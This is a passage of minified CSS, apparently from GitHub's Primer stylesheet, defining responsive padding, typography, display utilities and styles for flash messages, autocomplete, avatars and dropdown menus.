!important}.pt-sm-4{padding-top:24px !important}.pr-sm-4{padding-right:24px !important}.pb-sm-4{padding-bottom:24px !important}.pl-sm-4{padding-left:24px !important}.px-sm-4{padding-right:24px !important;padding-left:24px !important}.py-sm-4{padding-top:24px !important;padding-bottom:24px !important}.p-sm-5{padding:32px !important}.pt-sm-5{padding-top:32px !important}.pr-sm-5{padding-right:32px !important}.pb-sm-5{padding-bottom:32px !important}.pl-sm-5{padding-left:32px !important}.px-sm-5{padding-right:32px !important;padding-left:32px !important}.py-sm-5{padding-top:32px !important;padding-bottom:32px !important}.p-sm-6{padding:40px !important}.pt-sm-6{padding-top:40px !important}.pr-sm-6{padding-right:40px !important}.pb-sm-6{padding-bottom:40px !important}.pl-sm-6{padding-left:40px !important}.px-sm-6{padding-right:40px !important;padding-left:40px !important}.py-sm-6{padding-top:40px !important;padding-bottom:40px !important}.pt-sm-7{padding-top:48px !important}.pr-sm-7{padding-right:48px !important}.pb-sm-7{padding-bottom:48px !important}.pl-sm-7{padding-left:48px !important}.py-sm-7{padding-top:48px !important;padding-bottom:48px !important}.pt-sm-8{padding-top:64px !important}.pr-sm-8{padding-right:64px !important}.pb-sm-8{padding-bottom:64px !important}.pl-sm-8{padding-left:64px !important}.py-sm-8{padding-top:64px !important;padding-bottom:64px !important}.pt-sm-9{padding-top:80px !important}.pr-sm-9{padding-right:80px !important}.pb-sm-9{padding-bottom:80px !important}.pl-sm-9{padding-left:80px !important}.py-sm-9{padding-top:80px !important;padding-bottom:80px !important}.pt-sm-10{padding-top:96px !important}.pr-sm-10{padding-right:96px !important}.pb-sm-10{padding-bottom:96px !important}.pl-sm-10{padding-left:96px !important}.py-sm-10{padding-top:96px !important;padding-bottom:96px !important}.pt-sm-11{padding-top:112px !important}.pr-sm-11{padding-right:112px !important}.pb-sm-11{padding-bottom:112px !important}.pl-sm-11{padding-left:112px !important}.py-sm-11{padding-top:112px !important;padding-bottom:112px !important}.pt-sm-12{padding-top:128px !important}.pr-sm-12{padding-right:128px !important}.pb-sm-12{padding-bottom:128px !important}.pl-sm-12{padding-left:128px !important}.py-sm-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 768px){.p-md-0{padding:0 !important}.pt-md-0{padding-top:0 !important}.pr-md-0{padding-right:0 !important}.pb-md-0{padding-bottom:0 !important}.pl-md-0{padding-left:0 !important}.px-md-0{padding-right:0 !important;padding-left:0 !important}.py-md-0{padding-top:0 !important;padding-bottom:0 !important}.p-md-1{padding:4px !important}.pt-md-1{padding-top:4px !important}.pr-md-1{padding-right:4px !important}.pb-md-1{padding-bottom:4px !important}.pl-md-1{padding-left:4px !important}.px-md-1{padding-right:4px !important;padding-left:4px !important}.py-md-1{padding-top:4px !important;padding-bottom:4px !important}.p-md-2{padding:8px !important}.pt-md-2{padding-top:8px !important}.pr-md-2{padding-right:8px !important}.pb-md-2{padding-bottom:8px !important}.pl-md-2{padding-left:8px !important}.px-md-2{padding-right:8px !important;padding-left:8px !important}.py-md-2{padding-top:8px !important;padding-bottom:8px !important}.p-md-3{padding:16px !important}.pt-md-3{padding-top:16px !important}.pr-md-3{padding-right:16px !important}.pb-md-3{padding-bottom:16px !important}.pl-md-3{padding-left:16px !important}.px-md-3{padding-right:16px !important;padding-left:16px !important}.py-md-3{padding-top:16px !important;padding-bottom:16px !important}.p-md-4{padding:24px !important}.pt-md-4{padding-top:24px !important}.pr-md-4{padding-right:24px !important}.pb-md-4{padding-bottom:24px !important}.pl-md-4{padding-left:24px !important}.px-md-4{padding-right:24px !important;padding-left:24px !important}.py-md-4{padding-top:24px !important;padding-bottom:24px !important}.p-md-5{padding:32px !important}.pt-md-5{padding-top:32px !important}.pr-md-5{padding-right:32px !important}.pb-md-5{padding-bottom:32px !important}.pl-md-5{padding-left:32px !important}.px-md-5{padding-right:32px !important;padding-left:32px !important}.py-md-5{padding-top:32px !important;padding-bottom:32px !important}.p-md-6{padding:40px !important}.pt-md-6{padding-top:40px !important}.pr-md-6{padding-right:40px !important}.pb-md-6{padding-bottom:40px !important}.pl-md-6{padding-left:40px !important}.px-md-6{padding-right:40px !important;padding-left:40px !important}.py-md-6{padding-top:40px !important;padding-bottom:40px !important}.pt-md-7{padding-top:48px !important}.pr-md-7{padding-right:48px !important}.pb-md-7{padding-bottom:48px !important}.pl-md-7{padding-left:48px !important}.py-md-7{padding-top:48px !important;padding-bottom:48px !important}.pt-md-8{padding-top:64px !important}.pr-md-8{padding-right:64px !important}.pb-md-8{padding-bottom:64px !important}.pl-md-8{padding-left:64px !important}.py-md-8{padding-top:64px !important;padding-bottom:64px !important}.pt-md-9{padding-top:80px !important}.pr-md-9{padding-right:80px !important}.pb-md-9{padding-bottom:80px !important}.pl-md-9{padding-left:80px !important}.py-md-9{padding-top:80px !important;padding-bottom:80px !important}.pt-md-10{padding-top:96px !important}.pr-md-10{padding-right:96px !important}.pb-md-10{padding-bottom:96px !important}.pl-md-10{padding-left:96px !important}.py-md-10{padding-top:96px !important;padding-bottom:96px !important}.pt-md-11{padding-top:112px !important}.pr-md-11{padding-right:112px !important}.pb-md-11{padding-bottom:112px !important}.pl-md-11{padding-left:112px !important}.py-md-11{padding-top:112px !important;padding-bottom:112px !important}.pt-md-12{padding-top:128px !important}.pr-md-12{padding-right:128px !important}.pb-md-12{padding-bottom:128px !important}.pl-md-12{padding-left:128px !important}.py-md-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 1012px){.p-lg-0{padding:0 !important}.pt-lg-0{padding-top:0 !important}.pr-lg-0{padding-right:0 !important}.pb-lg-0{padding-bottom:0 !important}.pl-lg-0{padding-left:0 !important}.px-lg-0{padding-right:0 !important;padding-left:0 !important}.py-lg-0{padding-top:0 !important;padding-bottom:0 !important}.p-lg-1{padding:4px !important}.pt-lg-1{padding-top:4px !important}.pr-lg-1{padding-right:4px !important}.pb-lg-1{padding-bottom:4px !important}.pl-lg-1{padding-left:4px !important}.px-lg-1{padding-right:4px !important;padding-left:4px !important}.py-lg-1{padding-top:4px !important;padding-bottom:4px !important}.p-lg-2{padding:8px !important}.pt-lg-2{padding-top:8px !important}.pr-lg-2{padding-right:8px !important}.pb-lg-2{padding-bottom:8px !important}.pl-lg-2{padding-left:8px !important}.px-lg-2{padding-right:8px !important;padding-left:8px !important}.py-lg-2{padding-top:8px !important;padding-bottom:8px !important}.p-lg-3{padding:16px !important}.pt-lg-3{padding-top:16px !important}.pr-lg-3{padding-right:16px !important}.pb-lg-3{padding-bottom:16px !important}.pl-lg-3{padding-left:16px !important}.px-lg-3{padding-right:16px !important;padding-left:16px !important}.py-lg-3{padding-top:16px !important;padding-bottom:16px !important}.p-lg-4{padding:24px !important}.pt-lg-4{padding-top:24px !important}.pr-lg-4{padding-right:24px !important}.pb-lg-4{padding-bottom:24px !important}.pl-lg-4{padding-left:24px !important}.px-lg-4{padding-right:24px !important;padding-left:24px !important}.py-lg-4{padding-top:24px !important;padding-bottom:24px !important}.p-lg-5{padding:32px !important}.pt-lg-5{padding-top:32px !important}.pr-lg-5{padding-right:32px !important}.pb-lg-5{padding-bottom:32px !important}.pl-lg-5{padding-left:32px !important}.px-lg-5{padding-right:32px !important;padding-left:32px !important}.py-lg-5{padding-top:32px !important;padding-bottom:32px !important}.p-lg-6{padding:40px !important}.pt-lg-6{padding-top:40px !important}.pr-lg-6{padding-right:40px !important}.pb-lg-6{padding-bottom:40px !important}.pl-lg-6{padding-left:40px !important}.px-lg-6{padding-right:40px !important;padding-left:40px !important}.py-lg-6{padding-top:40px !important;padding-bottom:40px !important}.pt-lg-7{padding-top:48px !important}.pr-lg-7{padding-right:48px !important}.pb-lg-7{padding-bottom:48px !important}.pl-lg-7{padding-left:48px !important}.py-lg-7{padding-top:48px !important;padding-bottom:48px !important}.pt-lg-8{padding-top:64px !important}.pr-lg-8{padding-right:64px !important}.pb-lg-8{padding-bottom:64px !important}.pl-lg-8{padding-left:64px !important}.py-lg-8{padding-top:64px !important;padding-bottom:64px !important}.pt-lg-9{padding-top:80px !important}.pr-lg-9{padding-right:80px !important}.pb-lg-9{padding-bottom:80px !important}.pl-lg-9{padding-left:80px !important}.py-lg-9{padding-top:80px !important;padding-bottom:80px !important}.pt-lg-10{padding-top:96px !important}.pr-lg-10{padding-right:96px !important}.pb-lg-10{padding-bottom:96px !important}.pl-lg-10{padding-left:96px !important}.py-lg-10{padding-top:96px !important;padding-bottom:96px !important}.pt-lg-11{padding-top:112px !important}.pr-lg-11{padding-right:112px !important}.pb-lg-11{padding-bottom:112px !important}.pl-lg-11{padding-left:112px !important}.py-lg-11{padding-top:112px !important;padding-bottom:112px !important}.pt-lg-12{padding-top:128px !important}.pr-lg-12{padding-right:128px !important}.pb-lg-12{padding-bottom:128px !important}.pl-lg-12{padding-left:128px !important}.py-lg-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 1280px){.p-xl-0{padding:0 !important}.pt-xl-0{padding-top:0 !important}.pr-xl-0{padding-right:0 !important}.pb-xl-0{padding-bottom:0 !important}.pl-xl-0{padding-left:0 !important}.px-xl-0{padding-right:0 !important;padding-left:0 !important}.py-xl-0{padding-top:0 !important;padding-bottom:0 !important}.p-xl-1{padding:4px !important}.pt-xl-1{padding-top:4px !important}.pr-xl-1{padding-right:4px !important}.pb-xl-1{padding-bottom:4px !important}.pl-xl-1{padding-left:4px !important}.px-xl-1{padding-right:4px !important;padding-left:4px !important}.py-xl-1{padding-top:4px !important;padding-bottom:4px !important}.p-xl-2{padding:8px !important}.pt-xl-2{padding-top:8px !important}.pr-xl-2{padding-right:8px !important}.pb-xl-2{padding-bottom:8px !important}.pl-xl-2{padding-left:8px !important}.px-xl-2{padding-right:8px !important;padding-left:8px !important}.py-xl-2{padding-top:8px !important;padding-bottom:8px !important}.p-xl-3{padding:16px !important}.pt-xl-3{padding-top:16px !important}.pr-xl-3{padding-right:16px !important}.pb-xl-3{padding-bottom:16px !important}.pl-xl-3{padding-left:16px !important}.px-xl-3{padding-right:16px !important;padding-left:16px !important}.py-xl-3{padding-top:16px !important;padding-bottom:16px !important}.p-xl-4{padding:24px !important}.pt-xl-4{padding-top:24px !important}.pr-xl-4{padding-right:24px !important}.pb-xl-4{padding-bottom:24px !important}.pl-xl-4{padding-left:24px !important}.px-xl-4{padding-right:24px !important;padding-left:24px !important}.py-xl-4{padding-top:24px !important;padding-bottom:24px !important}.p-xl-5{padding:32px !important}.pt-xl-5{padding-top:32px !important}.pr-xl-5{padding-right:32px !important}.pb-xl-5{padding-bottom:32px !important}.pl-xl-5{padding-left:32px !important}.px-xl-5{padding-right:32px !important;padding-left:32px !important}.py-xl-5{padding-top:32px !important;padding-bottom:32px !important}.p-xl-6{padding:40px !important}.pt-xl-6{padding-top:40px !important}.pr-xl-6{padding-right:40px !important}.pb-xl-6{padding-bottom:40px !important}.pl-xl-6{padding-left:40px !important}.px-xl-6{padding-right:40px !important;padding-left:40px !important}.py-xl-6{padding-top:40px !important;padding-bottom:40px !important}.pt-xl-7{padding-top:48px !important}.pr-xl-7{padding-right:48px !important}.pb-xl-7{padding-bottom:48px !important}.pl-xl-7{padding-left:48px !important}.py-xl-7{padding-top:48px !important;padding-bottom:48px !important}.pt-xl-8{padding-top:64px !important}.pr-xl-8{padding-right:64px !important}.pb-xl-8{padding-bottom:64px !important}.pl-xl-8{padding-left:64px !important}.py-xl-8{padding-top:64px !important;padding-bottom:64px !important}.pt-xl-9{padding-top:80px !important}.pr-xl-9{padding-right:80px !important}.pb-xl-9{padding-bottom:80px !important}.pl-xl-9{padding-left:80px !important}.py-xl-9{padding-top:80px !important;padding-bottom:80px !important}.pt-xl-10{padding-top:96px !important}.pr-xl-10{padding-right:96px !important}.pb-xl-10{padding-bottom:96px !important}.pl-xl-10{padding-left:96px !important}.py-xl-10{padding-top:96px !important;padding-bottom:96px !important}.pt-xl-11{padding-top:112px !important}.pr-xl-11{padding-right:112px !important}.pb-xl-11{padding-bottom:112px !important}.pl-xl-11{padding-left:112px !important}.py-xl-11{padding-top:112px !important;padding-bottom:112px !important}.pt-xl-12{padding-top:128px !important}.pr-xl-12{padding-right:128px !important}.pb-xl-12{padding-bottom:128px !important}.pl-xl-12{padding-left:128px !important}.py-xl-12{padding-top:128px !important;padding-bottom:128px !important}}.p-responsive{padding-right:16px !important;padding-left:16px !important}@media(min-width: 544px){.p-responsive{padding-right:40px !important;padding-left:40px !important}}@media(min-width: 1012px){.p-responsive{padding-right:16px !important;padding-left:16px !important}}.h1{font-size:26px !important}@media(min-width: 768px){.h1{font-size:32px !important}}.h2{font-size:22px !important}@media(min-width: 768px){.h2{font-size:24px !important}}.h3{font-size:18px !important}@media(min-width: 768px){.h3{font-size:20px !important}}.h4{font-size:16px !important}.h5{font-size:14px !important}.h6{font-size:12px !important}.h1,.h2,.h3,.h4,.h5,.h6{font-weight:600 !important}.f1{font-size:26px !important}@media(min-width: 768px){.f1{font-size:32px !important}}.f2{font-size:22px !important}@media(min-width: 768px){.f2{font-size:24px !important}}.f3{font-size:18px !important}@media(min-width: 768px){.f3{font-size:20px !important}}.f4{font-size:16px !important}@media(min-width: 768px){.f4{font-size:16px !important}}.f5{font-size:14px !important}.f6{font-size:12px !important}.f00-light{font-size:40px !important;font-weight:300 !important}@media(min-width: 768px){.f00-light{font-size:48px !important}}.f0-light{font-size:32px !important;font-weight:300 !important}@media(min-width: 768px){.f0-light{font-size:40px !important}}.f1-light{font-size:26px !important;font-weight:300 !important}@media(min-width: 768px){.f1-light{font-size:32px !important}}.f2-light{font-size:22px !important;font-weight:300 !important}@media(min-width: 768px){.f2-light{font-size:24px !important}}.f3-light{font-size:18px !important;font-weight:300 !important}@media(min-width: 768px){.f3-light{font-size:20px !important}}.text-small{font-size:12px !important}.lead{margin-bottom:30px;font-size:20px;font-weight:300}.lh-condensed-ultra{line-height:1 !important}.lh-condensed{line-height:1.25 !important}.lh-default{line-height:1.5 !important}.lh-0{line-height:0 !important}@media(min-width: 544px){.lh-sm-condensed-ultra{line-height:1 !important}.lh-sm-condensed{line-height:1.25 !important}.lh-sm-default{line-height:1.5 !important}.lh-sm-0{line-height:0 !important}}@media(min-width: 768px){.lh-md-condensed-ultra{line-height:1 !important}.lh-md-condensed{line-height:1.25 !important}.lh-md-default{line-height:1.5 !important}.lh-md-0{line-height:0 !important}}@media(min-width: 1012px){.lh-lg-condensed-ultra{line-height:1 !important}.lh-lg-condensed{line-height:1.25 !important}.lh-lg-default{line-height:1.5 !important}.lh-lg-0{line-height:0 !important}}@media(min-width: 1280px){.lh-xl-condensed-ultra{line-height:1 !important}.lh-xl-condensed{line-height:1.25 !important}.lh-xl-default{line-height:1.5 !important}.lh-xl-0{line-height:0 !important}}.text-right{text-align:right !important}.text-left{text-align:left !important}.text-center{text-align:center !important}@media(min-width: 544px){.text-sm-right{text-align:right !important}.text-sm-left{text-align:left !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.text-md-right{text-align:right !important}.text-md-left{text-align:left !important}.text-md-center{text-align:center !important}}@media(min-width: 1012px){.text-lg-right{text-align:right !important}.text-lg-left{text-align:left !important}.text-lg-center{text-align:center !important}}@media(min-width: 1280px){.text-xl-right{text-align:right !important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-semibold{font-weight:500 !important}.text-light{font-weight:300 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-word{word-break:break-word !important;word-wrap:break-word !important;overflow-wrap:break-word !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600}.list-style-none{list-style:none !important}.text-mono{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace !important}.user-select-none{-webkit-user-select:none !important;user-select:none !important}.text-capitalize{text-transform:capitalize !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media(min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media(min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media(min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media(min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media(max-width: 543.98px){.hide-sm{display:none !important}}@media(min-width: 544px)and (max-width: 767.98px){.hide-md{display:none !important}}@media(min-width: 768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] 